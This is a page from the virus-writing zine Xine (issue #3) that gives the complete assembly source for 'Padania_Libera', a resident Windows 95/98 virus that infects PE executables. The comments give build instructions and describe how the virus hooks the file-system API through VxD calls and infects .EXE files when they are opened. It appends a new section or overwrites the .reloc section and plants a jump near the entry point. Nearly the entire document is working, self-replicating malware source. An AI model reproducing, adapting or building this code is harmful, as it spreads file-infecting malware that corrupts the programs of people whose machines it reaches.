Copy Link
Add to Bookmark
Report
Xine - issue #3 - Phile 202
/-----------------------------\
| Xine - issue #3 - Phile 202 |
\-----------------------------/
;
; Virus Name : Padania_Libera
; Virus Author : b0z0/iKX
; Origin : Padania, 1998
; Platform : Win 95/98
; Target : PE files
; Compiling : TASM 5.0 and TLINK 5.0 should be used
; tasm32 /ml /m3 padlib,,;
; tlink32 /Tpe /aa /c /v padlib,padlib,,import32.lib,
; And then set the PE header so the data section will be loaded
; at C0000000.
; Goodies : This is a TSR PE infector that goes resident by coping itself
; in the unused 1000h at 0c0000000h and then hooks the VxD
; functions. So there isn't any need to search the adresses
; of the APIs. Thanx to Murkry/IkX for the help for this part
; of the virus!
; As for file infection the virus can actually infect the file
; in three simillar ways, depending on the file structure. If
; the victim doesn't have a .reloc section, then the virus will
; just add a new object and put the EIP in PE to point on it.
; If the victim has a .reloc section the virus will overwrite
; this section with its code and change the PE header so it
; doesn't think anymore about the fixup section. After this
; the virus will have two ways of gaining control to that
; position. One is the simple to change the EIP in the PE
; header, while the second is to put a JMP from the body
; of the program to the virus. To find a suitable position
; where to put the JMP the virus will use the original .reloc
; section that contains useful data to find suitable
; instructions. The virus will put the JMP near the original
; EIP, so it is very probable it will be executed (thus
; putting the JMP in a random position should not activate the
; virus too often).
; By overwriting the .reloc it is very probable that the
; filesize of the infected file won't change (very often the
; dimension of the .reloc is anyway > of the virus length)
; thus making this also a sorta stealth add-on.
; Please check the article about Win95/98/32 ideas for more
; explanations and hints about this method.
; Special thanx : to Murkry/IkX for his help with Win95/98/32 stuff!
;
.386
.model flat
InstallFileSystemApiHook = 00400067h
UniToBCSPath = 00400041h
IFSMgr_Ring0_FileIO = 00400032h
peheader = (buffer - start + starthigh)
extrn ExitProcess:PROC
starthigh = 0c0000000h
.data ;the data area
start:
mov eax,0c0001000h ; starting scan location
mov ecx,1000h ; how much bytes to check
vmm_start_loop:
mov ebx,[eax]
cmp ebx,0c0002000h ; should be > of this
jb bad_entry
cmp ebx,0c0020000h ; and not > than this limit
ja bad_entry ; to prevent GPFs
cmp dword ptr [ebx+0ch],' MMV' ; got it?
je got_chain
bad_entry:
inc eax
loop vmm_start_loop
jmp RetToHost
got_chain:
mov ebx,[ebx+30h]
mov eax,ebx
add eax,003ch
push eax
pop dword ptr ds:[(origifs + 2) - start + starthigh]
push dword ptr ds:[eax]
pop dword ptr ds:[vxdoff - start + starthigh]
push (NewHandler - start + starthigh)
pop dword ptr [ebx+3ch]
mov word ptr ds:[int20_place - start + starthigh],020cdh
RetToHost:
inc byte ptr ds:[chktsr - start + starthigh]
ret
NewHandler:
push cs
push dword ptr ds:[vxdoff - start + starthigh]
push dword ptr ds:[vxdoff - start + starthigh]
origifs:
pop dword ptr ds:[12345678h] ; restore orig ifs
pushad
mov eax,(NewFShook - start + starthigh)
push eax
push InstallFileSystemApiHook
call make_vxdcall
add esp,04h
mov dword ptr ds:[oldfsd - start + starthigh],eax
popad
retf
virus_name db 0,'Padania_Libera',0
make_vxdcall:
pop dword ptr ds:[back - start + starthigh]
pop dword ptr ds:[vxdcall - start + starthigh]
int20_place:
int 20h
vxdcall dd 00h
mov word ptr ds:[int20_place - start + starthigh],020cdh
db 68h ; push immediate dd
back dd 00h
ret
author_orig db 0,'by -b0z0/iKX-',0
vxdcall_io:
push IFSMgr_Ring0_FileIO
call make_vxdcall
ret
NewFShook:
push ebp
mov ebp,esp
sub esp,00000020h
push ebx
push esi
push edi
cmp byte ptr ds:[chktsr - start + starthigh],02
je letOrginal
cmp dword ptr [ebp+0ch],00000024h ; open file
jne letOrginal
inc byte ptr ds:[chktsr - start + starthigh]
pushad
mov edi,(filename - start + starthigh)
mov eax,[ebp+10h] ;Primary Data buffer of the IOREQ
cmp al,0ffh
je noneeddriveletter
add al,40h ; create the c:
mov ah,':'
stosw
noneeddriveletter:
db 68h ; push imm dd 00
dd 00h
db 68h ; push imm dd ff
dd 0ffh
mov ebx,[ebp+1ch]
mov eax,[ebx+0ch] ; get input filename
add eax,04h
push eax
push edi
push UniToBCSPath
call make_vxdcall
add esp,10h
add edi,eax
xor al,al
stosb
cmp dword ptr [edi - 5],"EXE."
jne exitvvxd_noatt
mov esi,(filename - start + starthigh)
mov eax,4300h ; get attribs
push eax
call vxdcall_io
pop eax
jc exitvvxd_noatt
push esi
push ecx ; attribs on the stack
inc eax
xor ecx,ecx ; delete attribs
call vxdcall_io
jc exitvvxd
mov eax,0d500h ; open file
xor ecx,ecx
push ecx
pop dword ptr ds:[vxdoff - start + starthigh]
mov ebx,2
mov edx,1
call vxdcall_io
jb exitvvxd
mov ebx,eax ; file handle
mov ecx,04h
mov edx, 03ch ; read pointer to PE header
mov eax,0d600h
mov esi,(peptr - start + starthigh)
push eax
call vxdcall_io
pop eax
mov ecx,400h ; read 1kb of PE
mov edx,dword ptr ds:[peptr - start + starthigh]
mov esi,(buffer - start + starthigh)
call vxdcall_io
cmp dword ptr [esi],04550h ; is PE
jne closefile
cmp dword ptr ds:[esi + 44h],'0z0b' ; already infected?
je closefile
mov eax,0d800h ; get file size in eax
call vxdcall_io
mov dword ptr ds:[filesize - start + starthigh],eax
mov edi,peheader + 0f8h ; on object table
push edi
xor eax,eax
mov ax,word ptr ds:[peheader + 6] ; how many sections
cmp ax,11h ; humm, if so it should not
jb search_reloc ; be enough our 1kb buffer
pop eax ; correct stack and exit
jmp closefile
search_reloc:
cmp dword ptr [edi],'ler.' ; search the .reloc
jne no_rel
cmp word ptr [edi+4],'co'
je got_reloc
no_rel:
add edi,28h
dec eax
or eax,eax
jnz search_reloc
no_reloc_present:
; if no .reloc or .reloc not last one or if we shouldn't put out jump near the
; entry point then we must add an object
inc word ptr ds:[peheader + 6] ; obj number
xor eax,eax
mov dword ptr ds:[relocs - start + starthigh + 4],eax
jmp put_virsize
got_reloc:
; if got .reloc and is the last one then just overwrite this one.
cmp ax,1 ; must be last one!
jne no_rel
mov edx,dword ptr [edi + 14h] ; physical offset where we
; will write virus code
find_rightone:
mov eax,0d600h ; read 208h bytes out of the
mov esi,(relocs - start + starthigh) ; .reloc section
mov cx,208h
call vxdcall_io
mov eax,dword ptr ds:[peheader + 28h] ; orig EIP
and eax,0fffff000h
cmp eax,dword ptr ds:[relocs - start + starthigh]
jbe have_the_one ; got one! or if < then just
; exit, since no near block
; present
add edx,dword ptr ds:[relocs - start + starthigh + 4]
jmp find_rightone
have_the_one:
mov edx,dword ptr [edi + 14h]
mov dword ptr ds:[filesize - start + starthigh],edx
xor eax,eax
mov dword ptr ds:[peheader + 0a0h],eax ; delete fixups infos
mov dword ptr ds:[peheader + 0a4h],eax ; in header
cmp dword ptr [edi + 10h], virus_size ; compare phys. size
ja put_reloc_size
put_virsize:
push virus_size
jmp set_ph_size
put_reloc_size:
push dword ptr ds:[edi + 10h] ; so the physical size
; will fit the real
; size on disk
set_ph_size:
pop dword ptr ds:[(phy_size - start + starthigh)]
no_change_reloc:
pop eax ; begin of objects in mem
sub eax,edi ; so -eax = lenght of all objs
push eax
add eax,dword ptr ds:[peheader + 0f8h + 14h] ; where the first
; object starts
cmp eax,obj_size ; enough space in object table
pop eax
jb closefile ; for object + loader?
neg eax
add eax,(obj_size + 0f8h) ; + PE hdr + our code
add eax,dword ptr ds:[peptr - start + starthigh]
cmp eax,dword ptr ds:[peheader + 54h] ; be sure that enough header
jb enough_header ; is loaded in memory
add dword ptr ds:[peheader + 54h],200h ; so add just enough :)
enough_header:
mov edx,starthigh
sub edx,dword ptr ds:[peheader + 34h]
mov dword ptr ds:[(obj_rva - start + starthigh)],edx
push edi ; location in PeHeader of new section header
mov esi,(object_begin - start + starthigh)
mov ecx,obj_size
rep movsb
pop edi
mov eax,dword ptr ds:[filesize - start + starthigh]
push eax ; save the size
xor edx,edx
mov ecx,dword ptr ds:[peheader + 3ch]
div ecx
sub ecx,edx
pop edx
; Extend the file to the file alignment if needed (of course not if
; overwriting the .reloc)
mov eax,0d601h ; filewrite
mov esi,starthigh
push eax
cmp ecx,dword ptr ds:[peheader + 3ch]
je aligned
add dword ptr ds:[filesize - start + starthigh],ecx
call vxdcall_io ; put alignment
aligned:
pop eax
mov edx, dword ptr ds:[filesize - start + starthigh]
mov dword ptr ds:[edi + 14h],edx
mov ecx,virus_size ; write virus body
push eax
call vxdcall_io
add edx,eax ; write tsr check byte zeroed
pop eax
mov ecx,5
mov esi,(needed_zero - start + starthigh)
call vxdcall_io
mov dword ptr ds:[peheader + 44h],'0z0b'
mov edx,dword ptr ds:[peptr - start + starthigh]
push edx
mov eax,edi
sub eax,(peheader - 28h) ; - offset in mem + our object size
add eax,edx ; EAX = new EIP
push eax ; new EIP
pop dword ptr ds:[(jmp_addr - start + starthigh)]
cmp dword ptr ds:[relocs - start + starthigh + 4],00h
je change_in_pe
mov ecx,dword ptr ds:[peheader + 28h] ; orig EIP
push ecx
and ecx,0fffff000h ; is the same 4k block?
cmp ecx,dword ptr ds:[relocs - start + starthigh]
pop ecx
jne change_in_pe
and ecx,0fffh ; just last 12 bits
push (relocs - start + starthigh + 8)
pop dword ptr ds:[rel_pos - start + starthigh]
another_reloc:
push dword ptr ds:[(rel_pos - start + starthigh)]
pop esi
xor eax,eax
lodsw
or ax,ax ; end of relocs??
jz change_in_pe
push esi
pop dword ptr ds:[(rel_pos - start + starthigh)]
push ax
shr ax,0ch
cmp ax,03 ; 32bit relocation?
pop ax
jne another_reloc
shl ax,4 ; away reloc type
shr ax,4
cmp eax,ecx ; find the first one after the orig EIP
jbe another_reloc ; or just the next one if previous was bad
push eax
in al,40h
shr al,1 ; sorta rnd to select if use this one or no..
no_good: ; so about 50% probability to use this..
pop eax
jc another_reloc
; so EAX has offset to the reloc we want to change
add eax,dword ptr ds:[relocs - start + starthigh] ; RVA in mem
mov ecx,eax
add eax,4 ; on next instruction
push eax
sub eax,dword ptr ds:[jmp_addr - start + starthigh]
sub eax,(mid_jmp - entry_point)
mov dword ptr ds:[edi + return_addr - objname],eax
sub ecx,dword ptr ds:[peheader + 0f8h + 0ch] ; RVA
add ecx,dword ptr ds:[peheader + 0f8h + 14h] ; physical offset
dec ecx ; two bytes before the relocated addr
dec ecx
mov edx,ecx
mov ecx,06h
mov eax,0d600h ; read the orig instruction
mov esi,edi
add esi,(orig_code - objname)
call vxdcall_io
pop eax
xor ecx,ecx
cmp byte ptr [esi],0ffh ; probable 2 byte one?
je check_our_two
cmp byte ptr [esi+1],068h ; push xxxx
jne another_reloc
mov byte ptr [esi],90h ; pad with nop the orig instruction
inc edx ; so must write one byte later
jmp ok_instru
check_our_two:
inc ecx ; so one more byte to write
cmp byte ptr [esi+1],015h ; call [xxxx]
je ok_twob
cmp byte ptr [esi+1],035h ; push [xxxx]
jne another_reloc
ok_twob:
dec eax
ok_instru:
sub dword ptr ds:[(jmp_addr - start + starthigh)],eax
mov esi,(mid_jmp - start + starthigh)
add ecx,05h
mov eax,0d601h
call vxdcall_io
mov byte ptr ds:[edi + end_jump + 1 - objname],07h
jmp rewrite_header
change_in_pe:
mov byte ptr ds:[edi + end_jump + 1 - objname],00h
mov eax,dword ptr ds:[(jmp_addr - start + starthigh)]
xchg eax,dword ptr ds:[peheader + 28h] ; set new eip
add eax,dword ptr ds:[peheader + 34h]
mov dword ptr ds:[edi + oldeiprva - objname],eax ; save old eip
rewrite_header:
xor eax,eax
mov edx,eax
mov ecx,028h
mov ax,word ptr ds:[peheader + 06h] ; objects
mul ecx
add eax,0f8h + obj_size ; + PE + virus loader
mov ecx,eax ; write just the needed
mov esi,(buffer - start + starthigh) ; rewrite header
mov eax,0d601h ; write to file
pop edx
call vxdcall_io
closefile:
mov eax,0d700h
call vxdcall_io
exitvvxd:
pop ecx ; attribs
pop esi ; pointer to filename
mov eax,4301h
call vxdcall_io
exitvvxd_noatt:
popad
dec byte ptr ds:[chktsr - start + starthigh]
letOrginal:
mov eax,[ebp+1ch]
push eax
mov eax,[ebp+18h]
push eax
mov eax,[ebp+14h]
push eax
mov eax,[ebp+10h]
push eax
mov eax,[ebp+0ch]
push eax
mov eax,[ebp+08h]
push eax
db 0b8h ; mov eax,
oldfsd dd 0
call [eax]
add esp,00000018h
pop edi
pop esi
pop ebx
leave
ret
; This is the new object and the virus loader code that will be placed just
; after the objects. the loader is put in this part of memory, because the
; c0000000 can't be written once it has already been, so it is very risky
; putting the loader there
object_begin:
objname db "Padania "
virtualsize dd virus_size
obj_rva dd 00h
phy_size dd 00h
phy_offs dd 00h
needed_zero dd 00h,00h,00h
Character dd 0c0000040h
entry_point:
pushf
cmp byte ptr ds:[chktsr - start + starthigh],0 ; already tsr?
jne getout
cmp dword ptr ds:[orig_code - start + starthigh],"'NDP"
jne getout ; be sure it is our own code up there
pushad
call delta_offset
delta_offset:
pop eax
add eax,(here - delta_offset)
push eax
push starthigh ; jump up to virus code
ret
here:
popad
getout:
popf
end_jump:
jmp from_pe ; will jump depending on the
from_pe: ; type of infection done
db 0b8h ; mov eax
oldeiprva dd offset return
jmp eax ; here is loader execd from PE
from_executable:
orig_code db "PDN'98" ; 6 bytes used for orig code
; when overwriting some code with the jump to the virus
; will be changed on infection. this 6 bytes also
; carries virus origin ;)
db 0e9h ; jump back when placing loader
return_addr dd 00h ; in the middle of the code
end_loader:
mid_jmp db 0e9h ; temp code for the mid jmp gen
endvirus:
;-- end of virus on disk --
jmp_addr dd 00h
chktsr db ?
filename db 100 dup (00)
peptr dd 0
filesize dd 0
buffer db 400h dup (00)
relocs db 208h dup (00)
rel_pos dd 0
vxdoff dd 0
virus_size = (endvirus - start)
obj_size = (end_loader - object_begin)
;------------------------------------------------------------------------------
.code
HOST:
push (entry_point - start + starthigh) ; 1st gen code
ret
return:
push LARGE -1
call ExitProcess
end HOST